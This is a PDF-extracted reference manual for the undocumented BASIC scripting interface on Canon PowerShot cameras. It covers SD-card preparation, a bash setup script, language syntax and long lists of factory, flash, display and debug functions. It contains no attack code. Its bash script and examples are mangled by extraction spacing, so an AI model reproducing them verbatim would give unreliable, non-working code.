0.11.84MoveZoomLensWithPoint() . . . . . . . . . . . . . . . . .
77
0.11.85MoveZoomLensWithPosition()
. . . . . . . . . . . . . . .
77
0.11.86MoveZoomLensToTerminatePosition() . . . . . . . . . . .
78
0.11.87MoveZoomLensToMechaEdge() . . . . . . . . . . . . . . .
78
0.11.88SetZoomLensSpeedMode()
. . . . . . . . . . . . . . . . .
78
0.11.89GetZoomLensCurrentPoint()
. . . . . . . . . . . . . . . .
78
0.11.90GetZoomLensCurrentPosition() . . . . . . . . . . . . . . .
78
0.11.91GetZoomLensTelePoint()
. . . . . . . . . . . . . . . . . .
78
0.11.92GetZoomLensMechaEdgePosition() . . . . . . . . . . . . .
79
0.11.93EnableZoomLensEncoderPowerControl() . . . . . . . . . .
79
0.11.94DisableZoomLensEncoderPowerControl()
. . . . . . . . .
79
0.11.95MoveDCMotorCW() . . . . . . . . . . . . . . . . . . . . .
79
0.11.96MoveDCMotorCCW() . . . . . . . . . . . . . . . . . . . .
79
0.11.97SetPMByGpio()
. . . . . . . . . . . . . . . . . . . . . . .
79
0.11.98ClearPMByGpio() . . . . . . . . . . . . . . . . . . . . . .
80
0.11.99ClearPMByFs() . . . . . . . . . . . . . . . . . . . . . . . .
80
0.11.100SetDCMotorWaitTime() . . . . . . . . . . . . . . . . . . .
80
0.12 Capture.Create() . . . . . . . . . . . . . . . . . . . . . . . . . . .
80
0.12.1 ActivateImager() . . . . . . . . . . . . . . . . . . . . . . .
80
9
0.12.2 ActivateImagerXOne() . . . . . . . . . . . . . . . . . . . .
80
0.12.3 QuietImager()
. . . . . . . . . . . . . . . . . . . . . . . .
81
0.12.4 CancelImager() . . . . . . . . . . . . . . . . . . . . . . . .
81
0.12.5 ChangeImagerToWholeParallel() . . . . . . . . . . . . . .
81
0.12.6 ChangeImagerToWholeParallelBP()
. . . . . . . . . . . .
81
0.12.7 ChangeImagerToWideDraft() . . . . . . . . . . . . . . . .
81
0.12.8 ChangeImagerToFocusJet() . . . . . . . . . . . . . . . . .
81
0.12.9 ChangeImagerToMangoPudding()
. . . . . . . . . . . . .
82
0.12.10ChangeImagerToSuperWideDraft() . . . . . . . . . . . . .
82
0.12.11ChangeImagerToJetDraft() . . . . . . . . . . . . . . . . .
82
0.12.12ChangeImagerToJumboDraft() . . . . . . . . . . . . . . .
82
0.12.13ChangeImagerToHoneyFlash()
. . . . . . . . . . . . . . .
82
0.12.14ChangeImagerToMillefeAdjust()
. . . . . . . . . . . . . .
82
0.12.15ChangeImagerToOITA XAVIER() . . . . . . . . . . . . .
83
0.12.16ChangeImagerToAlternateDraft() . . . . . . . . . . . . . .
83
0.12.17ChangeImagerToDigiconMode() . . . . . . . . . . . . . . .
83
0.12.18ChangeImagerToUltraGhostQ() . . . . . . . . . . . . . . .
83
0.12.19ChangeImagerToMontblancWhole()
. . . . . . . . . . . .
83
0.12.20ChangeImagerToMontblancMillefe() . . . . . . . . . . . .
83
0.12.21ChangeGradeTable() . . . . . . . . . . . . . . . . . . . . .
84
0.12.22PointDefDetect() . . . . . . . . . . . . . . . . . . . . . . .
84
0.12.23PointKizuCheck()
. . . . . . . . . . . . . . . . . . . . . .
84
0.12.24GetDefectCount()
. . . . . . . . . . . . . . . . . . . . . .
84
0.12.25LineDefDetect()
. . . . . . . . . . . . . . . . . . . . . . .
84
0.12.26LineKizuCheck() . . . . . . . . . . . . . . . . . . . . . . .
84
0.12.27SetMontblancVSize() . . . . . . . . . . . . . . . . . . . . .
85
0.12.28GetMontblancVSize()
. . . . . . . . . . . . . . . . . . . .
85
0.12.29EF.StartEFCharge() . . . . . . . . . . . . . . . . . . . . .
85
0.12.30EF.StopEFCharge() . . . . . . . . . . . . . . . . . . . . .
85
0.12.31EF.SetEFChargeTimeOut() . . . . . . . . . . . . . . . . .
85
0.12.32EF.StartInternalPreFlash() . . . . . . . . . . . . . . . . .
85
0.12.33EF.StartInternalMainFlash() . . . . . . . . . . . . . . . .
86
0.12.34EF.SetMainFlashTime() . . . . . . . . . . . . . . . . . . .
86
0.12.35EF.IsChargeFull()
. . . . . . . . . . . . . . . . . . . . . .
86
0.12.36EF.AdjPreFlash()
. . . . . . . . . . . . . . . . . . . . . .
86
0.12.37EF.SetChargeMode()
. . . . . . . . . . . . . . . . . . . .
86
0.12.38EF.SetFlashTime() . . . . . . . . . . . . . . . . . . . . . .
86
0.12.39ExpCtrlTool.SetExpMode() . . . . . . . . . . . . . . . . .
87
0.12.40DevelopTool.DevelopTest()
. . . . . . . . . . . . . . . . .
87
0.12.41LiveImageTool.StartEVF()
. . . . . . . . . . . . . . . . .
87
0.12.42LiveImageTool.StartEVFFocusJet()
. . . . . . . . . . . .
87
0.12.43LiveImageTool.StartEVFMF()
. . . . . . . . . . . . . . .
87
0.12.44LiveImageTool.StartEVFMovVGA() . . . . . . . . . . . .
87
0.12.45LiveImageTool.StartEVFMovQVGA60() . . . . . . . . . .
88
0.12.46LiveImageTool.StartEVFMovQVGA() . . . . . . . . . . .
88
0.12.47LiveImageTool.StartEVFMovQQVGA() . . . . . . . . . .
88
0.12.48LiveImageTool.StartEVFMovXGA() . . . . . . . . . . . .
88
0.12.49LiveImageTool.StartEVFMovHD() . . . . . . . . . . . . .
88
0.12.50LiveImageTool.StopEVF() . . . . . . . . . . . . . . . . . .
88
0.12.51LiveImageTool.StopMjpegMaking() . . . . . . . . . . . . .
89
10
0.12.52LiveImageTool.StartMjpegMaking()
. . . . . . . . . . . .
89
0.12.53LiveImageTool.DzoomTele() . . . . . . . . . . . . . . . . .
89
0.12.54LiveImageTool.DzoomWide() . . . . . . . . . . . . . . . .
89
0.12.55LiveImageTool.StopDzoom()
. . . . . . . . . . . . . . . .
89
0.12.56LiveImageTool.Pause() . . . . . . . . . . . . . . . . . . . .
89
0.12.57LiveImageTool.Resume()
. . . . . . . . . . . . . . . . . .
90
0.12.58LiveImageTool.ChangeDzoom() . . . . . . . . . . . . . . .
90
0.12.59LiveImageTool.GetDzoomPosition()
. . . . . . . . . . . .
90
0.12.60LiveImageTool.Jump() . . . . . . . . . . . . . . . . . . . .
90
0.12.61AFTool.GetEVal() . . . . . . . . . . . . . . . . . . . . . .
90
0.12.62E2LatOn()
. . . . . . . . . . . . . . . . . . . . . . . . . .
90
0.13 EngineDriver.Create() . . . . . . . . . . . . . . . . . . . . . . . .
91
0.13.1 EngDrvOut() . . . . . . . . . . . . . . . . . . . . . . . . .
91
0.13.2 EngDrvIn() . . . . . . . . . . . . . . . . . . . . . . . . . .
91
0.13.3 EngDrvRead()
. . . . . . . . . . . . . . . . . . . . . . . .
91
0.13.4 EngDrvBits() . . . . . . . . . . . . . . . . . . . . . . . . .
91
0.13.5 EngDrvReadDump() . . . . . . . . . . . . . . . . . . . . .
91
0.14 CreateLanguageMenu()
. . . . . . . . . . . . . . . . . . . . . . .
92
0.14.1 CreateLanguageMenu()
. . . . . . . . . . . . . . . . . . .
92
0.14.2 DeleteLanguageMenu()
. . . . . . . . . . . . . . . . . . .
92
0.14.3 ShowLanguageNameList() . . . . . . . . . . . . . . . . . .
92
0.14.4 SaveLanguageNameList() . . . . . . . . . . . . . . . . . .
92
0.14.5 RegisterLanguageName()
. . . . . . . . . . . . . . . . . .
92
0.15 DispDev EnableEventProc() . . . . . . . . . . . . . . . . . . . . .
93
0.15.1 DispCon ShowColorBar() . . . . . . . . . . . . . . . . . .
93
0.15.2 DispCon ShowFiveStep()
. . . . . . . . . . . . . . . . . .
93
0.15.3 DispCon ShowWhiteChart()
. . . . . . . . . . . . . . . .
93
0.15.4 DispCon ShowBlackChart() . . . . . . . . . . . . . . . . .
93
0.15.5 DispCon ShowBitmapColorBar() . . . . . . . . . . . . . .
93
0.15.6 DispCon ShowCustomColorBar() . . . . . . . . . . . . . .
94
0.15.7 DispCon SetDisplayType()
. . . . . . . . . . . . . . . . .
94
0.15.8 DispCon TurnOnDisplay() . . . . . . . . . . . . . . . . . .
94
0.15.9 DispCon TurnOffDisplay()
. . . . . . . . . . . . . . . . .
94
0.15.10DispCon SetMaxBackLightBrightness()
. . . . . . . . . .
94
0.15.11DispCon SetVideoAdjParameter()
. . . . . . . . . . . . .
94
0.15.12DispCon GetVideoAdjParameter() . . . . . . . . . . . . .
95
0.15.13DispCon ShowVideoAdjParameter() . . . . . . . . . . . .
95
0.15.14DispCon SaveVideoAdjParameter()
. . . . . . . . . . . .
95
0.15.15DispCon SetLcdGainAdjParameter() . . . . . . . . . . . .
95
0.15.16DispCon GetLcdGainAdjParameter()
. . . . . . . . . . .
95
0.15.17DispCon ShowLcdGainAdjParameter()
. . . . . . . . . .
95
0.15.18DispCon SaveLcdGainAdjParameter() . . . . . . . . . . .
96
0.15.19LcdCon SetLcdBackLightBrightness() . . . . . . . . . . .
96
0.15.20LcdCon SetLcdBackLightParameter() . . . . . . . . . . .
96
0.15.21LcdCon GetLcdBackLightParameter() . . . . . . . . . . .
96
0.15.22LcdCon ShowLcdBackLightParameter() . . . . . . . . . .
96
0.15.23LcdCon SaveLcdBackLightParameter()
. . . . . . . . . .
96
0.15.24LcdCon SetLcdDriver()
. . . . . . . . . . . . . . . . . . .
97
0.15.25LcdCon SetLcdAdjParameter() . . . . . . . . . . . . . . .
97
0.15.26LcdCon GetLcdAdjParameter() . . . . . . . . . . . . . . .
97
11
0.15.27LcdCon ShowLcdAdjParameter() . . . . . . . . . . . . . .
97
0.15.28LcdCon SaveLcdAdjParameter() . . . . . . . . . . . . . .
97
0.15.29LcdCon IsNewLcd() . . . . . . . . . . . . . . . . . . . . .
97
0.15.30LcdCon IsNewLcdType()
. . . . . . . . . . . . . . . . . .
98
0.15.31LcdCon SetLcdParameter() . . . . . . . . . . . . . . . . .
98
0.15.32LcdCon GetLcdParameter() . . . . . . . . . . . . . . . . .
98
0.15.33LcdCon ShowLcdParameter() . . . . . . . . . . . . . . . .
98
0.15.34LcdCon SaveLcdParameter() . . . . . . . . . . . . . . . .
98
0.15.35LcdCon StartLcdPeriodicalSetting() . . . . . . . . . . . .
98
0.15.36LcdCon StopLcdPeriodicalSetting()
. . . . . . . . . . . .
99
0.16 FA.Create() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
99
0.16.1 InitializeAdjustmentSystem() . . . . . . . . . . . . . . . .
99
0.16.2 InitializeAdjustmentFunction() . . . . . . . . . . . . . . .
99
0.16.3 TerminateAdjustmentSystem() . . . . . . . . . . . . . . .
99
0.16.4 InitializeTestRec() . . . . . . . . . . . . . . . . . . . . . .
99
0.16.5 TerminateTestRec()
. . . . . . . . . . . . . . . . . . . . . 100
0.16.6 ExecuteTestRec() . . . . . . . . . . . . . . . . . . . . . . . 100
0.16.7 ExecuteTestRecCF() . . . . . . . . . . . . . . . . . . . . . 100
0.16.8 InitializeDigicon()
. . . . . . . . . . . . . . . . . . . . . . 100
0.16.9 TerminateDigicon()
. . . . . . . . . . . . . . . . . . . . . 100
0.16.10ExecuteDigicon() . . . . . . . . . . . . . . . . . . . . . . . 100
0.16.11Initializedccd() . . . . . . . . . . . . . . . . . . . . . . . . 101
0.16.12Terminatedccd() . . . . . . . . . . . . . . . . . . . . . . . 101
0.16.13Executedccd()
. . . . . . . . . . . . . . . . . . . . . . . . 101
0.16.14GetdccdImage()
. . . . . . . . . . . . . . . . . . . . . . . 101
0.16.15GetdccdFilterValue() . . . . . . . . . . . . . . . . . . . . . 101
0.16.16EnableDebugLogMode() . . . . . . . . . . . . . . . . . . . 101
0.16.17DisableDebugLogMode() . . . . . . . . . . . . . . . . . . . 102
0.16.18SetDefaultRecParameter() . . . . . . . . . . . . . . . . . . 102
0.16.19SetDefectRecParameter() . . . . . . . . . . . . . . . . . . 102
0.16.20SetSensitiveRecParameter() . . . . . . . . . . . . . . . . . 102
0.16.21SetSensitiveDefectRecParameter()
. . . . . . . . . . . . . 102
0.16.22InitializeSoundRec() . . . . . . . . . . . . . . . . . . . . . 102
0.16.23TerminateSoundRec() . . . . . . . . . . . . . . . . . . . . 103
0.16.24StartSoundRecord() . . . . . . . . . . . . . . . . . . . . . 103
0.16.25FreeBufferForSoundRec() . . . . . . . . . . . . . . . . . . 103
0.16.26StartSoundPlay() . . . . . . . . . . . . . . . . . . . . . . . 103
0.16.27ShowTransparentMemory() . . . . . . . . . . . . . . . . . 103
0.16.28DumpTransparentMemoryItem() . . . . . . . . . . . . . . 103
0.16.29AddTransparentMemory() . . . . . . . . . . . . . . . . . . 104
0.16.30AttachToTransparentMemory() . . . . . . . . . . . . . . . 104
0.16.31RemoveTransparentMemory() . . . . . . . . . . . . . . . . 104
0.16.32GetTransparentMemorySize() . . . . . . . . . . . . . . . . 104
0.16.33GetTransparentMemory() . . . . . . . . . . . . . . . . . . 104
0.16.34GetTransparentMemoryPosition()
. . . . . . . . . . . . . 104
0.16.35StartFactoryModeController() . . . . . . . . . . . . . . . . 105
0.16.36IsFactoryMode() . . . . . . . . . . . . . . . . . . . . . . . 105
0.16.37SetFactoryMode()
. . . . . . . . . . . . . . . . . . . . . . 105
0.16.38ClearFactoryMode() . . . . . . . . . . . . . . . . . . . . . 105
0.16.39DisplayFactoryMode() . . . . . . . . . . . . . . . . . . . . 105
12
0.16.40UndisplayFactoryMode()
. . . . . . . . . . . . . . . . . . 105
0.16.41IsDUIDFixFlag() . . . . . . . . . . . . . . . . . . . . . . . 106
0.16.42SetDUIDFixFlag() . . . . . . . . . . . . . . . . . . . . . . 106
0.16.43ClearDUIDFixFlag() . . . . . . . . . . . . . . . . . . . . . 106
0.16.44CreateAdjustmentTableMirror()
. . . . . . . . . . . . . . 106
0.16.45RefreshAdjustmentTableMirror() . . . . . . . . . . . . . . 106
0.16.46WRITEADJTABLETOFROM() . . . . . . . . . . . . . . 106
0.16.47LoadAdjustmentTable() . . . . . . . . . . . . . . . . . . . 107
0.16.48SaveAdjustmentTable()
. . . . . . . . . . . . . . . . . . . 107
0.16.49SaveAdjustmentValue()
. . . . . . . . . . . . . . . . . . . 107
0.16.50LoadAdjustmentValue() . . . . . . . . . . . . . . . . . . . 107
0.16.51ShowDefaultAdjTableVersion() . . . . . . . . . . . . . . . 107
0.16.52EraseAdjustmentArea() . . . . . . . . . . . . . . . . . . . 107
0.16.53DumpAdjMirror()
. . . . . . . . . . . . . . . . . . . . . . 108
0.16.54GetAdjTableVersion() . . . . . . . . . . . . . . . . . . . . 108
0.16.55GetAdjTableMapVersion() . . . . . . . . . . . . . . . . . . 108
0.16.56GetAdjTableValueVersion() . . . . . . . . . . . . . . . . . 108
0.16.57PrintAdjTableMap() . . . . . . . . . . . . . . . . . . . . . 108
0.16.58AddAdjDataToFRom()
. . . . . . . . . . . . . . . . . . . 108
0.16.59DeviceUniqueIDCheckSum()
. . . . . . . . . . . . . . . . 109
0.16.60LoadParamDataFromAdjTableBin() . . . . . . . . . . . . 109
0.16.61LoadDataFromAdjTableBin() . . . . . . . . . . . . . . . . 109
0.16.62StartLogOut()
. . . . . . . . . . . . . . . . . . . . . . . . 109
0.16.63StopLogOut() . . . . . . . . . . . . . . . . . . . . . . . . . 109
0.16.64OutputLogToFile() . . . . . . . . . . . . . . . . . . . . . . 109
0.16.65IsLogOutType()
. . . . . . . . . . . . . . . . . . . . . . . 110
0.16.66FAPrintf() . . . . . . . . . . . . . . . . . . . . . . . . . . . 110
0.16.67FADBGPrintf() . . . . . . . . . . . . . . . . . . . . . . . . 110
0.16.68CreateFADBGSingalID()
. . . . . . . . . . . . . . . . . . 110
0.16.69FADBGSingal() . . . . . . . . . . . . . . . . . . . . . . . . 110
0.16.70PrintFirmVersion() . . . . . . . . . . . . . . . . . . . . . . 110
0.16.71PrintFaexeVersioin() . . . . . . . . . . . . . . . . . . . . . 111
0.16.72GetLogData() . . . . . . . . . . . . . . . . . . . . . . . . . 111
0.16.73GetLogDataOnlyAddMemory() . . . . . . . . . . . . . . . 111
0.16.74ActivateAdjLog() . . . . . . . . . . . . . . . . . . . . . . . 111
0.16.75InactivateAdjLog() . . . . . . . . . . . . . . . . . . . . . . 111
0.17 Examples . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111
0.17.1 Print Skull
. . . . . . . . . . . . . . . . . . . . . . . . . . 111
0.17.2 Print Skull
. . . . . . . . . . . . . . . . . . . . . . . . . . 112
0.17.3 Record Sound . . . . . . . . . . . . . . . . . . . . . . . . . 114
0.17.4 Phantom picture . . . . . . . . . . . . . . . . . . . . . . . 115
0.18 Firmware Dumping . . . . . . . . . . . . . . . . . . . . . . . . . . 116
13
0.1
Executing Scripts
This section contains information about the format and contents of the SD cards
and basic script required for execution.
0.1.1
Format of the SD card
The SD card must contain the following items:
1. The string “SCRIPT” must be at offset 0x1F0 of the first sector (Boot
sector).
2. The file “script.req” must exist on the root directory, and must only con-
tain the string “for DC scriptdisk”
3. The file “extend.m” must exist on the root directory. This file must contain
the BASIC script to execute.
0.1.2
Script extend.m
The script extend.m, residing on the root directory must contain the basic
script. There are two callback subroutines called by the camara to initialize
the execution:
private sub Initialize ()
’ I n i t
code
end sub
private sub Terminate ()
’ Ending code
end sub
The two functions will be called in order (first Initialize(), then Terminate()).
0.1.3
Starting the script
Once an SD with this format is inserted on the Camera, the script is called
when the camera is in playback mode, pressing the key “set”.
0.1.4
Automatic script
The following bash script will enable the powershot basic on a SD card and
write a test script in it.
#!/ bin / bash
#Enable
powershot−basic
s c r i p t i n g
on a memory card
i f
[
$# −ne 1
] ;
then
echo
echo ”Usage :
./ makeScriptCard . sh
[ device ] ”
echo
echo ” [ device ]
i s
a
fat32 / fat16
p a r t i t i o n
on the memory card ”
echo ”example :
./ makeScriptCard . sh /deb/sdb1”
14
echo ”NOTE:
please
run as
root ”
exit 112
f i
#TAG on boot
sector
echo −n SCRIPT |
dd bs=1 count=6 seek=496 of=$1
#mount card
umount /mnt
mount $1 /mnt
#create
s c r i p t
request
f i l e
echo ” f o r
DC scriptdisk ” > /mnt/ s c r i p t . req
#Example
s c r i p t
echo
’ private
sub
sayHello ()
a=LCDMsg Create ()
LCDMsg SetStr (a , ” Hello World ! ” )
end sub
private
sub
I n i t i a l i z e ()
UI . CreatePublic ()
sayHello ()
end sub
’>/mnt/ extend .m
#Done !
echo ” Please
check /mnt f o r
f i l e s
extend .m and
s c r i p t . req ”
0.2
Language constructs
0.2.1
operators
Typical basic operators:
comparators <, >, <=, >=, =, <>
arithmetics +, −, /, ∗
logical !
unknown ‘, >>, <<
comment ′
0.2.2
Dim
Declares and allocates storage space for one or more variables.
Dim v a r i a b l e l i s t
Example:
dim b , a=3
15
0.2.3
for-next
For counter
[ As datatype
] = s t a r t To end [
Step
step
]
[
statements
]
Next [
counter
]
Example:
For d i g i t = 0 To 9
Next d i g i t
0.2.4
do-while
Do { While |
Until } condition
[
statements
]
[
Exit Do ]
[
statements
]
Loop
Example:
Do While a>0
print a
Loop
0.2.5
subroutines
[
Public
]
|
[
Private
]
Sub name (Arg1 , Arg2 )
[
statements
]
[
Exit Sub ]
[
statements
]
End Sub
name(Arg1 , Arg2 )
Example:
private sub t e s t ()
end sub
0.3
Common functions()
Example :
Common functions ()
Allows the use of the following function:
16
0.3.1
ExMem.View()
TODO: Undocumented.
Example :
ExMem. View ()
0.3.2
ExMem.AllocUncacheable()
TODO: Undocumented.
Example :
ExMem. AllocUncacheable ()
0.3.3
ExMem.FreeUncacheable()
TODO: Undocumented.
Example :
ExMem. FreeUncacheable ()
0.3.4
ExMem.AllocCacheable()
TODO: Undocumented.
Example :
ExMem. AllocCacheable ()
0.3.5
ExMem.FreeCacheable()
TODO: Undocumented.
Example :
ExMem. FreeCacheable ()
0.3.6
StartCameraLog()
TODO: Undocumented.
Example :
StartCameraLog ()
0.3.7
ShowCameraLog()
TODO: Undocumented.
Example :
ShowCameraLog ()
17
0.3.8
ShowCameraLogInfo()
TODO: Undocumented.
Example :
ShowCameraLogInfo ()
0.3.9
StopCameraLog()
TODO: Undocumented.
Example :
StopCameraLog ()
0.3.10
PutsCameraLogEvent()
TODO: Undocumented.
Example :
PutsCameraLogEvent ()
0.3.11
OpLog.Create()
TODO: Undocumented.
Example :
OpLog . Create ()
0.3.12
drysh()
TODO: Undocumented.
Example :
drysh ()
0.3.13
NewTaskShell()
TODO: Undocumented.
Example :
NewTaskShell ()
0.3.14
ExMem()
TODO: Undocumented.
Example :
ExMem()
18
0.3.15
StartRedirectUART()
Redirects stdout to a file in the SD card
StartRedirectUART ()
Example :
StartRedirectUART (1)
Printf ( ”AAAAAAAAAAAAAAAAAAAAAA\n” )
Note: For this function to work, an special file named “uartr.req” must reside
in the root directory, containing the bytes:
77 21 ce 82 20 20 20
0.3.16
SS.Create()
TODO: Undocumented.
Example :
SS . Create ()
0.3.17
SetUSBToDCPMode()
TODO: Undocumented.
Example :
SetUSBToDCPMode()
0.3.18
InitializeDCPClassFunctions()
TODO: Undocumented.
Example :
InitializeDCPClassFunctions ()
0.3.19
LoadScript()
TODO: Undocumented.
Example :
LoadScript ()
0.3.20
UnLoadScript()
TODO: Undocumented.
Example :
UnLoadScript ()
19
0.3.21
Printf()
TODO: Undocumented.
Example :
Printf ()
0.3.22
RomCheckSum()
TODO: Undocumented.
Example :
RomCheckSum()
0.3.23
PostLogicalEventToUI()
TODO: Undocumented.
Example :
PostLogicalEventToUI ()
0.3.24
PostLogicalEventForNotPowerType()
TODO: Undocumented.
Example :
PostLogicalEventForNotPowerType ()
0.3.25
PostEventShootSeqToUI()
TODO: Undocumented.
Example :
PostEventShootSeqToUI ()
0.3.26
ShowLogicalEventName()
TODO: Undocumented.
Example :
ShowLogicalEventName ()
0.3.27
SetAutoShutdownTime()
TODO: Undocumented.
Example :
SetAutoShutdownTime ()
20
0.3.28
LockMainPower()
TODO: Undocumented.
Example :
LockMainPower ()
0.3.29
UnlockMainPower()
TODO: Undocumented.
Example :
UnlockMainPower ()
0.3.30
HardwareDefect()
TODO: Undocumented.
Example :
HardwareDefect ()
0.3.31
HardwareDefectWithRestart()
TODO: Undocumented.
Example :
HardwareDefectWithRestart ()
0.3.32
MechaUnRegisterEventProcedure()
TODO: Undocumented.
Example :
MechaUnRegisterEventProcedure ()
0.3.33
Mecha.Create()
TODO: Undocumented.
Example :
Mecha . Create ()
0.3.34
DispDev EnableEventProc()
TODO: Undocumented.
Example :
DispDev EnableEventProc ()
21
0.3.35
SystemEventInit()
TODO: Undocumented.
Example :
SystemEventInit ()
0.3.36
System.Create()
TODO: Undocumented.
Example :
System . Create ()
0.3.37
UI RegistDebugEventProc()
TODO: Undocumented.
Example :
UI RegistDebugEventProc ()
0.3.38
UI.Create()
TODO: Undocumented.
Example :
UI . Create ()
0.3.39
FA.Delete()
TODO: Undocumented.
Example :
FA. Delete ()
0.3.40
Capture.Create()
TODO: Undocumented.
Example :
Capture . Create ()
0.3.41
EngineDriver.Create()
TODO: Undocumented.
Example :
EngineDriver . Create ()
22
0.3.42
StartTransferOrderMenu()
TODO: Undocumented.
Example :
StartTransferOrderMenu ()
0.3.43
StartDirectTransferManager()
TODO: Undocumented.
Example :
StartDirectTransferManager ()
0.3.44
StartDtConfirmMenu()
TODO: Undocumented.
Example :
StartDtConfirmMenu ()
0.3.45
StoptDtConfirmMenu()
TODO: Undocumented.
Example :
StoptDtConfirmMenu ()
0.3.46
StartDtExecuteMenu()
TODO: Undocumented.
Example :
StartDtExecuteMenu ()
0.3.47
StopRedirectUART()
TODO: Undocumented.
Example :
StopRedirectUART ()
0.3.48
RefreshUSBMode()
TODO: Undocumented.
Example :
RefreshUSBMode ()
23
0.3.49
UI.CreatePublic()
TODO: Undocumented.
Example :
UI . CreatePublic ()
0.3.50
StoptDtExecuteMenu()
TODO: Undocumented.
Example :
StoptDtExecuteMenu ()
0.3.51
TerminateDCPClassFunctions()
TODO: Undocumented.
Example :
TerminateDCPClassFunctions ()
0.3.52
UiEvnt StopDisguiseCradleStatus()
TODO: Undocumented.
Example :
UiEvnt StopDisguiseCradleStatus ()
0.4
OpLog.Create()
Example :
OpLog . Create ()
Allows the use of the following function:
0.4.1
OpLog.Show()
TODO: Undocumented.
Example :
OpLog .Show()
Note: needs prior call to the OpLog.Create() function to activate.
24
0.4.2
OpLog.Play()
TODO: Undocumented.
Example :
OpLog . Play ()
Note: needs prior call to the OpLog.Create() function to activate.
0.4.3
OpLog.ReadFromROM()
TODO: Undocumented.
Example :
OpLog .ReadFromROM()
Note: needs prior call to the OpLog.Create() function to activate.
0.4.4
OpLog.ReadFromSD()
TODO: Undocumented.
Example :
OpLog . ReadFromSD()
Note: needs prior call to the OpLog.Create() function to activate.
0.4.5
OpLog.WriteToSD()
TODO: Undocumented.
Example :
OpLog . WriteToSD ()
Note: needs prior call to the OpLog.Create() function to activate.
0.4.6
OpLog.WriteToROM()
TODO: Undocumented.
Example :
OpLog .WriteToROM()
Note: needs prior call to the OpLog.Create() function to activate.
0.4.7
OpLog.Get()
TODO: Undocumented.
Example :
OpLog .Get()
Note: needs prior call to the OpLog.Create() function to activate.
25
0.4.8
OpLog.Stop()
TODO: Undocumented.
Example :
OpLog . Stop ()
Note: needs prior call to the OpLog.Create() function to activate.
0.4.9
OpLog.Start()
TODO: Undocumented.
Example :
OpLog . Start ()
Note: needs prior call to the OpLog.Create() function to activate.
0.5
Driver.Create()
Example :
Driver . Create ()
Allows the use of the following function:
0.5.1
GetAdVBattBottom()
TODO: Undocumented.
Example :
GetAdVBattBottom ()
Note: needs prior call to the Driver.Create() function to activate.
0.5.2
GetAdChValue()
TODO: Undocumented.
Example :
GetAdChValue ()
Note: needs prior call to the Driver.Create() function to activate.
0.5.3
BeepDrive()
Does a beep on the camera speaker.
BeepDrive (type)
Type v a r i e s with camera .
On G10 :
26
type=3 i s
short
double beep .
type=2 i s
short
s i n g l e beep
Example :
BeepDrive (3)
Note: needs prior call to the Driver.Create() function to activate.
0.5.4
LEDDrive()
Control camera LEDs
LEDDrive(LED, value )
Value=0 : LED ON
Value=1 : LED OFF
Example ( Turns on and
o f f
a l l LEDs ) :
for a=0 to 10
LEDDrive(a , 0 )
next
Wait (500)
for a=0 to 10
LEDDrive(a , 1 )
next
Note: needs prior call to the Driver.Create() function to activate.
0.5.5
VbattGet()
TODO: Undocumented.
Example :
VbattGet ()
Note: needs prior call to the Driver.Create() function to activate.
0.5.6
ShowPhySwStatus()
TODO: Undocumented.
Example :
ShowPhySwStatus ()
Note: needs prior call to the Driver.Create() function to activate.
27
0.5.7
SetRawSWCheckMode()
TODO: Undocumented.
Example :
SetRawSWCheckMode()
Note: needs prior call to the Driver.Create() function to activate.
0.5.8
OnPrintPhySw()
TODO: Undocumented.
Example :
OnPrintPhySw ()
Note: needs prior call to the Driver.Create() function to activate.
0.5.9
OffPrintPhySw()
TODO: Undocumented.
Example :
OffPrintPhySw ()
Note: needs prior call to the Driver.Create() function to activate.
0.5.10
GetSwitchStatus()
TODO: Undocumented.
Example :
GetSwitchStatus ()
Note: needs prior call to the Driver.Create() function to activate.
0.5.11
ShowSDStatus()
TODO: Undocumented.
Example :
ShowSDStatus ()
Note: needs prior call to the Driver.Create() function to activate.
0.5.12
GetSDDetect()
TODO: Undocumented.
Example :
GetSDDetect ()
Note: needs prior call to the Driver.Create() function to activate.
28
0.5.13
GetSDProtect()
TODO: Undocumented.
Example :
GetSDProtect ()
Note: needs prior call to the Driver.Create() function to activate.
0.5.14
SetIgnoreAVJACK()
TODO: Undocumented.
Example :
SetIgnoreAVJACK ()
Note: needs prior call to the Driver.Create() function to activate.
0.5.15
GetDialEventId()
TODO: Undocumented.
Example :
GetDialEventId ()
Note: needs prior call to the Driver.Create() function to activate.
0.5.16
SetSDPwrPort()
TODO: Undocumented.
Example :
SetSDPwrPort ()
Note: needs prior call to the Driver.Create() function to activate.
0.6
System.Create()
Example :
System . Create ()
Allows the use of the following function:
0.6.1
Driver EnableEventProc()
TODO: Undocumented.
Example :
Driver EnableEventProc ()
Note: needs prior call to the System.Create() function to activate.
29
0.6.2
Driver.Create()
TODO: Undocumented.
Example :
Driver . Create ()
Note: needs prior call to the System.Create() function to activate.
0.6.3
strcpy()
TODO: Undocumented.
Example :
strcpy ()
Note: needs prior call to the System.Create() function to activate.
0.6.4
strlen()
TODO: Undocumented.
Example :
s t r l e n ()
Note: needs prior call to the System.Create() function to activate.
0.6.5
strcmp()
TODO: Undocumented.
Example :
strcmp ()
Note: needs prior call to the System.Create() function to activate.
0.6.6
sprintf()
TODO: Undocumented.
Example :
s p r i n t f ()
Note: needs prior call to the System.Create() function to activate.
0.6.7
memcpy()
TODO: Undocumented.
Example :
memcpy()
Note: needs prior call to the System.Create() function to activate.
30
0.6.8
memset()
TODO: Undocumented.
Example :
memset ()
Note: needs prior call to the System.Create() function to activate.
0.6.9
memcmp()
TODO: Undocumented.
Example :
memcmp()
Note: needs prior call to the System.Create() function to activate.
0.6.10
sscanf()
TODO: Undocumented.
Example :
sscanf ()
Note: needs prior call to the System.Create() function to activate.
0.6.11
atol()
TODO: Undocumented.
Example :
atol ()
Note: needs prior call to the System.Create() function to activate.
0.6.12
Open()
TODO: Undocumented.
Example :
Open()
Note: needs prior call to the System.Create() function to activate.
0.6.13
Read()
TODO: Undocumented.
Example :
Read ()
Note: needs prior call to the System.Create() function to activate.
31
0.6.14
Write()
TODO: Undocumented.
Example :
Write()
Note: needs prior call to the System.Create() function to activate.
0.6.15
Close()
TODO: Undocumented.
Example :
Close ()
Note: needs prior call to the System.Create() function to activate.
0.6.16
Lseek()
TODO: Undocumented.
Example :
Lseek ()
Note: needs prior call to the System.Create() function to activate.
0.6.17
Fopen Fut,Fclose Fut,Fread Fut,Fwrite Fut,Fseek Fut
Stream file manipulation functions. Needs to be exported using System.Create()
Fopen Fut ()
Fclose Fut ()
Fwrite Fut ()
Fseek Fut ()
Example :
Dim a
System . Create ()
